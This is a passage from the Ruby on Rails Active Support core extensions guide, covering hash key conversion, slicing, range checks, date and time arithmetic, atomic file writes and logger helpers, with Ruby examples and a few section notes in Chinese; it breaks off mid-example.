This method may be useful for example to build specialized conversions. For instance stringify_keys and symbolize_keys use transform_keys to perform their key conversions:

+
+def stringify_keys
+  transform_keys { |key| key.to_s }
+end
+...
+def symbolize_keys
+  transform_keys { |key| key.to_sym rescue key }
+end
+
+
+
+

There's also the bang variant transform_keys! that applies the block operations to keys in the very receiver.

Besides that, one can use deep_transform_keys and deep_transform_keys! to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:

+
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
+# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
+
+
+
+

定义于 active_support/core_ext/hash/keys.rb.

11.4.3 stringify_keys and stringify_keys! +

The method stringify_keys returns a hash that has a stringified version of the keys in the receiver. It does so by sending to_s to them:

+
+{nil => nil, 1 => 1, a: :a}.stringify_keys
+# => {"" => nil, "a" => :a, "1" => 1}
+
+
+
+

In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:

+
+{"a" => 1, a: 2}.stringify_keys
+# The result could either be
+# => {"a"=>2}
+# or
+# => {"a"=>1}
+
+
+
+

This method may be useful for example to easily accept both symbols and strings as options. For instance ActionView::Helpers::FormHelper defines:

+
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+  options = options.stringify_keys
+  options["type"] = "checkbox"
+  ...
+end
+
+
+
+

The second line can safely access the "type" key, and let the user to pass either :type or "type".

There's also the bang variant stringify_keys! that stringifies keys in the very receiver.

Besides that, one can use deep_stringify_keys and deep_stringify_keys! to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:

+
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
+# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
+
+
+
+

定义于 active_support/core_ext/hash/keys.rb.

11.4.4 symbolize_keys and symbolize_keys! +

The method symbolize_keys returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending to_sym to them:

+
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {1=>1, nil=>nil, :a=>"a"}
+
+
+
+

Note in the previous example only one key was symbolized.

In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:

+
+{"a" => 1, a: 2}.symbolize_keys
+# The result could either be
+# => {:a=>2}
+# or
+# => {:a=>1}
+
+
+
+

This method may be useful for example to easily accept both symbols and strings as options. For instance ActionController::UrlRewriter defines

+
+def rewrite_path(options)
+  options = options.symbolize_keys
+  options.update(options[:params].symbolize_keys) if options[:params]
+  ...
+end
+
+
+
+

The second line can safely access the :params key, and let the user to pass either :params or "params".

There's also the bang variant symbolize_keys! that symbolizes keys in the very receiver.

Besides that, one can use deep_symbolize_keys and deep_symbolize_keys! to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:

+
+{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
+
+
+
+

定义于 active_support/core_ext/hash/keys.rb.

11.4.5 to_options and to_options! +

The methods to_options and to_options! are respectively aliases of symbolize_keys and symbolize_keys!.

定义于 active_support/core_ext/hash/keys.rb.

11.4.6 assert_valid_keys +

The method assert_valid_keys receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does ArgumentError is raised.

+
+{a: 1}.assert_valid_keys(:a)  # passes
+{a: 1}.assert_valid_keys("a") # ArgumentError
+
+
+
+

Active Record does not accept unknown options when building associations, for example. It implements that control via assert_valid_keys.

定义于 active_support/core_ext/hash/keys.rb.

11.5 Slicing

Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:

+
+{a: 1, b: 2, c: 3}.slice(:a, :c)
+# => {:c=>3, :a=>1}
+
+{a: 1, b: 2, c: 3}.slice(:b, :X)
+# => {:b=>2} # non-existing keys are ignored
+
+
+
+

If the receiver responds to convert_key keys are normalized:

+
+{a: 1, b: 2}.with_indifferent_access.slice("a")
+# => {:a=>1}
+
+
+
+

Slicing may come in handy for sanitizing option hashes with a white list of keys.

There's also slice! which in addition to perform a slice in place returns what's removed:

+
+hash = {a: 1, b: 2}
+rest = hash.slice!(:a) # => {:b=>2}
+hash                   # => {:a=>1}
+
+
+
+

定义于 active_support/core_ext/hash/slice.rb.

11.6 Extracting

The method extract! removes and returns the key/value pairs matching the given keys.

+
+hash = {a: 1, b: 2}
+rest = hash.extract!(:a) # => {:a=>1}
+hash                     # => {:b=>2}
+
+
+
+

The method extract! returns the same subclass of Hash, that the receiver is.

+
+hash = {a: 1, b: 2}.with_indifferent_access
+rest = hash.extract!(:a).class
+# => ActiveSupport::HashWithIndifferentAccess
+
+
+
+

定义于 active_support/core_ext/hash/slice.rb.

11.7 Indifferent Access

The method with_indifferent_access returns an ActiveSupport::HashWithIndifferentAccess out of its receiver:

+
+{a: 1}.with_indifferent_access["a"] # => 1
+
+
+
+

定义于 active_support/core_ext/hash/indifferent_access.rb.

11.8 Compacting

The methods compact and compact! return a Hash without items with nil value.

+
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+
+
+
+

定义于 active_support/core_ext/hash/compact.rb.

12 Extensions to Regexp +

12.1 multiline? +

The method multiline? says whether a regexp has the /m flag set, that is, whether the dot matches newlines.

+
+%r{.}.multiline?  # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline?                    # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+
+
+
+

Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.

+
+def assign_route_options(segments, defaults, requirements)
+  ...
+  if requirement.multiline?
+    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+  end
+  ...
+end
+
+
+
+

定义于 active_support/core_ext/regexp.rb.

13 Extensions to Range +

13.1 to_s +

Active Support extends the method Range#to_s so that it understands an optional format argument. As of this writing the only supported non-default format is :db:

+
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+
+
+
+

As the example depicts, the :db format generates a BETWEEN SQL clause. That is used by Active Record in its support for range values in conditions.

定义于 active_support/core_ext/range/conversions.rb.

13.2 include? +

The methods Range#include? and Range#=== say whether some value falls between the ends of a given instance:

+
+(2..3).include?(Math::E) # => true
+
+
+
+

Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:

+
+(1..10).include?(3..7)  # => true
+(1..10).include?(0..7)  # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9)  # => false
+
+(1..10) === (3..7)  # => true
+(1..10) === (0..7)  # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9)  # => false
+
+
+
+

定义于 active_support/core_ext/range/include_range.rb.

13.3 overlaps? +

The method Range#overlaps? says whether any two given ranges have non-void intersection:

+
+(1..10).overlaps?(7..11)  # => true
+(1..10).overlaps?(0..7)   # => true
+(1..10).overlaps?(11..27) # => false
+
+
+
+

定义于 active_support/core_ext/range/overlaps.rb.

14 Extensions to Proc +

14.1 bind +

As you surely know Ruby has an UnboundMethod class whose instances are methods that belong to the limbo of methods without a self. The method Module#instance_method returns an unbound method for example:

+
+Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
+
+
+
+

An unbound method is not callable as is, you need to bind it first to an object with bind:

+
+clear = Hash.instance_method(:clear)
+clear.bind({a: 1}).call # => {}
+
+
+
+

Active Support defines Proc#bind with an analogous purpose:

+
+Proc.new { size }.bind([]).call # => 0
+
+
+
+

As you see that's callable and bound to the argument, the return value is indeed a Method.

To do so Proc#bind actually creates a method under the hood. If you ever see a method with a weird name like __bind_1256598120_237302 in a stack trace you know now where it comes from.

Action Pack uses this trick in rescue_from for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by handler_for_rescue, thus simplifying the code in the caller:

+
+def handler_for_rescue(exception)
+  _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
+    ...
+  end
+
+  case rescuer
+  when Symbol
+    method(rescuer)
+  when Proc
+    rescuer.bind(self)
+  end
+end
+
+
+
+

定义于 active_support/core_ext/proc.rb.

15 Extensions to Date +

15.1 Calculations

All the following methods are defined in active_support/core_ext/date/calculations.rb.

The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, Date.new(1582, 10, 4).tomorrow returns Date.new(1582, 10, 15) and so on. Please check test/core_ext/date_ext_test.rb in the Active Support test suite for expected behavior.

15.1.1 Date.current +

Active Support defines Date.current to be today in the current time zone. That's like Date.today, except that it honors the user time zone, if defined. It also defines Date.yesterday and Date.tomorrow, and the instance predicates past?, today?, and future?, all of them relative to Date.current.

When making Date comparisons using methods which honor the user time zone, make sure to use Date.current and not Date.today. There are cases where the user time zone might be in the future compared to the system time zone, which Date.today uses by default. This means Date.today may equal Date.yesterday.

15.1.2 Named dates
15.1.2.1 prev_year, next_year +

In Ruby 1.9 prev_year and next_year return a date with the same day/month in the last or next year:

+
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year              # => Fri, 08 May 2009
+d.next_year              # => Sun, 08 May 2011
+
+
+
+

If date is the 29th of February of a leap year, you obtain the 28th:

+
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year               # => Sun, 28 Feb 1999
+d.next_year               # => Wed, 28 Feb 2001
+
+
+
+

prev_year is aliased to last_year.

15.1.2.2 prev_month, next_month +

In Ruby 1.9 prev_month and next_month return the date with the same day in the last or next month:

+
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month             # => Thu, 08 Apr 2010
+d.next_month             # => Tue, 08 Jun 2010
+
+
+
+

If such a day does not exist, the last day of the corresponding month is returned:

+
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+
+
+
+

prev_month is aliased to last_month.

15.1.2.3 prev_quarter, next_quarter +

Same as prev_month and next_month. It returns the date with the same day in the previous or next quarter:

+
+t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
+t.prev_quarter             # => Mon, 08 Feb 2010
+t.next_quarter             # => Sun, 08 Aug 2010
+
+
+
+

If such a day does not exist, the last day of the corresponding month is returned:

+
+Time.local(2000, 7, 31).prev_quarter  # => Sun, 30 Apr 2000
+Time.local(2000, 5, 31).prev_quarter  # => Tue, 29 Feb 2000
+Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
+Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+
+
+
+

prev_quarter is aliased to last_quarter.

15.1.2.4 beginning_of_week, end_of_week +

The methods beginning_of_week and end_of_week return the dates for the +beginning and end of the week, respectively. Weeks are assumed to start on +Monday, but that can be changed passing an argument, setting thread local +Date.beginning_of_week or config.beginning_of_week.

+
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.beginning_of_week          # => Mon, 03 May 2010
+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week                # => Sun, 09 May 2010
+d.end_of_week(:sunday)       # => Sat, 08 May 2010
+
+
+
+

beginning_of_week is aliased to at_beginning_of_week and end_of_week is aliased to at_end_of_week.

15.1.2.5 monday, sunday +

The methods monday and sunday return the dates for the previous Monday and +next Sunday, respectively.

+
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.monday                     # => Mon, 03 May 2010
+d.sunday                     # => Sun, 09 May 2010
+
+d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
+d.monday                     # => Mon, 10 Sep 2012
+
+d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
+d.sunday                     # => Sun, 16 Sep 2012
+
+
+
+
15.1.2.6 prev_week, next_week +

The method next_week receives a symbol with a day name in English (default is the thread local Date.beginning_of_week, or config.beginning_of_week, or :monday) and it returns the date corresponding to that day.

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.next_week              # => Mon, 10 May 2010
+d.next_week(:saturday)   # => Sat, 15 May 2010
+
+
+
+

The method prev_week is analogous:

+
+d.prev_week              # => Mon, 26 Apr 2010
+d.prev_week(:saturday)   # => Sat, 01 May 2010
+d.prev_week(:friday)     # => Fri, 30 Apr 2010
+
+
+
+

prev_week is aliased to last_week.

Both next_week and prev_week work as expected when Date.beginning_of_week or config.beginning_of_week are set.

15.1.2.7 beginning_of_month, end_of_month +

The methods beginning_of_month and end_of_month return the dates for the beginning and end of the month:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_month     # => Sat, 01 May 2010
+d.end_of_month           # => Mon, 31 May 2010
+
+
+
+

beginning_of_month is aliased to at_beginning_of_month, and end_of_month is aliased to at_end_of_month.

15.1.2.8 beginning_of_quarter, end_of_quarter +

The methods beginning_of_quarter and end_of_quarter return the dates for the beginning and end of the quarter of the receiver's calendar year:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_quarter   # => Thu, 01 Apr 2010
+d.end_of_quarter         # => Wed, 30 Jun 2010
+
+
+
+

beginning_of_quarter is aliased to at_beginning_of_quarter, and end_of_quarter is aliased to at_end_of_quarter.

15.1.2.9 beginning_of_year, end_of_year +

The methods beginning_of_year and end_of_year return the dates for the beginning and end of the year:

+
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_year      # => Fri, 01 Jan 2010
+d.end_of_year            # => Fri, 31 Dec 2010
+
+
+
+

beginning_of_year is aliased to at_beginning_of_year, and end_of_year is aliased to at_end_of_year.

15.1.3 Other Date Computations
15.1.3.1 years_ago, years_since +

The method years_ago receives a number of years and returns the same date those many years ago:

+
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # => Wed, 07 Jun 2000
+
+
+
+

years_since moves forward in time:

+
+date = Date.new(2010, 6, 7)
+date.years_since(10) # => Sun, 07 Jun 2020
+
+
+
+

If such a day does not exist, the last day of the corresponding month is returned:

+
+Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
+
+
+
+
15.1.3.2 months_ago, months_since +

The methods months_ago and months_since work analogously for months:

+
+Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
+
+
+
+

If such a day does not exist, the last day of the corresponding month is returned:

+
+Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
+
+
+
+
15.1.3.3 weeks_ago +

The method weeks_ago works analogously for weeks:

+
+Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
+
+
+
+
15.1.3.4 advance +

The most generic way to jump to other days is advance. This method receives a hash with keys :years, :months, :weeks, :days, and returns a date advanced as much as the present keys indicate:

+
+date = Date.new(2010, 6, 6)
+date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
+date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
+
+
+
+

Note in the previous example that increments may be negative.

To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.

The method advance advances first one month, and then one day, the result is:

+
+Date.new(2010, 2, 28).advance(months: 1, days: 1)
+# => Sun, 29 Mar 2010
+
+
+
+

While if it did it the other way around the result would be different:

+
+Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
+# => Thu, 01 Apr 2010
+
+
+
+
15.1.4 Changing Components

The method change allows you to get a new date which is the same as the receiver except for the given year, month, or day:

+
+Date.new(2010, 12, 23).change(year: 2011, month: 11)
+# => Wed, 23 Nov 2011
+
+
+
+

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

+
+Date.new(2010, 1, 31).change(month: 2)
+# => ArgumentError: invalid date
+
+
+
+
15.1.5 Durations

Durations can be added to and subtracted from dates:

+
+d = Date.current
+# => Mon, 09 Aug 2010
+d + 1.year
+# => Tue, 09 Aug 2011
+d - 3.hours
+# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
+
+
+
+

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

+
+Date.new(1582, 10, 4) + 1.day
+# => Fri, 15 Oct 1582
+
+
+
+
15.1.6 Timestamps

The following methods return a Time object if possible, otherwise a DateTime. If set, they honor the user time zone.

15.1.6.1 beginning_of_day, end_of_day +

The method beginning_of_day returns a timestamp at the beginning of the day (00:00:00):

+
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
+
+
+
+

The method end_of_day returns a timestamp at the end of the day (23:59:59):

+
+date = Date.new(2010, 6, 7)
+date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+
+
+
+

beginning_of_day is aliased to at_beginning_of_day, midnight, at_midnight.

15.1.6.2 beginning_of_hour, end_of_hour +

The method beginning_of_hour returns a timestamp at the beginning of the hour (hh:00:00):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
+
+
+
+

The method end_of_hour returns a timestamp at the end of the hour (hh:59:59):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
+
+
+
+

beginning_of_hour is aliased to at_beginning_of_hour.

15.1.6.3 beginning_of_minute, end_of_minute +

The method beginning_of_minute returns a timestamp at the beginning of the minute (hh:mm:00):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
+
+
+
+

The method end_of_minute returns a timestamp at the end of the minute (hh:mm:59):

+
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
+
+
+
+

beginning_of_minute is aliased to at_beginning_of_minute.

beginning_of_hour, end_of_hour, beginning_of_minute and end_of_minute are implemented for Time and DateTime but not Date as it does not make sense to request the beginning or end of an hour or minute on a Date instance.

15.1.6.4 ago, since +

The method ago receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:

+
+date = Date.current # => Fri, 11 Jun 2010
+date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
+
+
+
+

Similarly, since moves forward:

+
+date = Date.current # => Fri, 11 Jun 2010
+date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
+
+
+
+
15.1.7 Other Time Computations

15.2 Conversions

16 Extensions to DateTime +

DateTime is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example seconds_since_midnight might not return the real amount in such a day.

16.1 Calculations

All the following methods are defined in active_support/core_ext/date_time/calculations.rb.

The class DateTime is a subclass of Date so by loading active_support/core_ext/date/calculations.rb you inherit these methods and their aliases, except that they will always return datetimes:

+
+yesterday
+tomorrow
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+
+
+
+

The following methods are reimplemented so you do not need to load active_support/core_ext/date/calculations.rb for these ones:

+
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+
+
+
+

On the other hand, advance and change are also defined and support more options, they are documented below.

The following methods are only implemented in active_support/core_ext/date_time/calculations.rb as they only make sense when used with a DateTime instance:

+
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+
+
+
+
16.1.1 Named Datetimes
16.1.1.1 DateTime.current +

Active Support defines DateTime.current to be like Time.now.to_datetime, except that it honors the user time zone, if defined. It also defines DateTime.yesterday and DateTime.tomorrow, and the instance predicates past?, and future? relative to DateTime.current.

16.1.2 Other Extensions
16.1.2.1 seconds_since_midnight +

The method seconds_since_midnight returns the number of seconds since midnight:

+
+now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # => 73596
+
+
+
+
16.1.2.2 utc +

The method utc gives you the same datetime in the receiver expressed in UTC.

+
+now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
+now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
+
+
+
+

This method is also aliased as getutc.

16.1.2.3 utc? +

The predicate utc? says whether the receiver has UTC as its time zone:

+
+now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
+now.utc?           # => false
+now.utc.utc?       # => true
+
+
+
+
16.1.2.4 advance +

The most generic way to jump to another datetime is advance. This method receives a hash with keys :years, :months, :weeks, :days, :hours, :minutes, and :seconds, and returns a datetime advanced as much as the present keys indicate.

+
+d = DateTime.current
+# => Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
+# => Tue, 06 Sep 2011 12:34:32 +0000
+
+
+
+

This method first computes the destination date passing :years, :months, :weeks, and :days to Date#advance documented above. After that, it adjusts the time calling since with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in Date#advance applies, and we can extend it to show order relevance related to the time bits.

If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:

+
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# => Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(months: 1, seconds: 1)
+# => Mon, 29 Mar 2010 00:00:00 +0000
+
+
+
+

but if we computed them the other way around, the result would be different:

+
+d.advance(seconds: 1).advance(months: 1)
+# => Thu, 01 Apr 2010 00:00:00 +0000
+
+
+
+

Since DateTime is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.

16.1.3 Changing Components

The method change allows you to get a new datetime which is the same as the receiver except for the given options, which may include :year, :month, :day, :hour, :min, :sec, :offset, :start:

+
+now = DateTime.current
+# => Tue, 08 Jun 2010 01:56:22 +0000
+now.change(year: 2011, offset: Rational(-6, 24))
+# => Wed, 08 Jun 2011 01:56:22 -0600
+
+
+
+

If hours are zeroed, then minutes and seconds are too (unless they have given values):

+
+now.change(hour: 0)
+# => Tue, 08 Jun 2010 00:00:00 +0000
+
+
+
+

Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):

+
+now.change(min: 0)
+# => Tue, 08 Jun 2010 01:00:00 +0000
+
+
+
+

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

+
+DateTime.current.change(month: 2, day: 30)
+# => ArgumentError: invalid date
+
+
+
+
16.1.4 Durations

Durations can be added to and subtracted from datetimes:

+
+now = DateTime.current
+# => Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
+# => Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# => Mon, 02 Aug 2010 23:15:17 +0000
+
+
+
+

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

+
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# => Fri, 15 Oct 1582 00:00:00 +0000
+
+
+
+

17 Extensions to Time +

17.1 Calculations

All the following methods are defined in active_support/core_ext/time/calculations.rb.

Active Support adds to Time many of the methods available for DateTime:

+
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+
+
+
+

They are analogous. Please refer to their documentation above and take into account the following differences:

+
    +
  • +change accepts an additional :usec option.
  • +
  • +Time understands DST, so you get correct DST calculations as in
  • +
+
+
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+
+# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+t = Time.local(2010, 3, 28, 1, 59, 59)
+# => Sun Mar 28 01:59:59 +0100 2010
+t.advance(seconds: 1)
+# => Sun Mar 28 03:00:00 +0200 2010
+
+
+
+ +
    +
  • If since or ago jump to a time that can't be expressed with Time a DateTime object is returned instead.
  • +
+
17.1.1 Time.current +

Active Support defines Time.current to be today in the current time zone. That's like Time.now, except that it honors the user time zone, if defined. It also defines the instance predicates past?, today?, and future?, all of them relative to Time.current.

When making Time comparisons using methods which honor the user time zone, make sure to use Time.current instead of Time.now. There are cases where the user time zone might be in the future compared to the system time zone, which Time.now uses by default. This means Time.now.to_date may equal Date.yesterday.

17.1.2 all_day, all_week, all_month, all_quarter and all_year +

The method all_day returns a range representing the whole day of the current time.

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_day
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+
+
+
+

Analogously, all_week, all_month, all_quarter and all_year all serve the purpose of generating time ranges.

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_week
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+now.all_week(:sunday)
+# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
+now.all_month
+# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+now.all_quarter
+# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+now.all_year
+# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+
+
+
+

17.2 Time Constructors

Active Support defines Time.current to be Time.zone.now if there's a user time zone defined, with fallback to Time.now:

+
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.current
+# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
+
+
+
+

Analogously to DateTime, the predicates past?, and future? are relative to Time.current.

If the time to be constructed lies beyond the range supported by Time in the runtime platform, usecs are discarded and a DateTime object is returned instead.

17.2.1 Durations

Durations can be added to and subtracted from time objects:

+
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
+
+
+
+

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

+
+Time.utc(1582, 10, 3) + 5.days
+# => Mon Oct 18 00:00:00 UTC 1582
+
+
+
+

18 Extensions to File +

18.1 atomic_write +

With the class method File.atomic_write you can write to a file in a way that will prevent any reader from seeing half-written content.

The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done atomic_write closes the file handle and completes its job.

For example, Action Pack uses this method to write asset cache files like all.css:

+
+File.atomic_write(joined_asset_path) do |cache|
+  cache.write(join_asset_file_contents(asset_paths))
+end
+
+
+
+

To accomplish this atomic_write creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists atomic_write overwrites it and keeps owners and permissions. However there are a few cases where atomic_write cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is accessible to the processes that need it.

Due to the chmod operation atomic_write performs, if the target file has an ACL set on it this ACL will be recalculated/modified.

Note you can't append with atomic_write.

The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.

定义于 active_support/core_ext/file/atomic.rb.

19 Extensions to Marshal +

19.1 load +

Active Support adds constant autoloading support to load.

For example, the file cache store deserializes this way:

+
+File.open(file_name) { |f| Marshal.load(f) }
+
+
+
+

If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently.

If the argument is an IO it needs to respond to rewind to be able to retry. Regular files respond to rewind.

定义于 active_support/core_ext/marshal.rb.

20 Extensions to Logger +

20.1 around_[level] +

Takes two arguments, a before_message and after_message and calls the current level method on the Logger instance, passing in the before_message, then the specified message, then the after_message:

+
+logger = Logger.new("log/development.log")
+logger.around_info("before", "after") { |logger| logger.info("during") }
+
+
+
+

20.2 silence +

Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.

+
+logger = Logger.new("log/development.log")
+logger.silence(Logger::INFO) do
+  logger.debug("In space, no one can hear you scream.")
+  logger.info("Scream all you want, small mailman!")
+end
+
+
+
+

20.3 datetime_format= +

Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a datetime_format method then this is ignored.

+
+class Logger::FormatWithTime < Logger::Formatter
+  cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
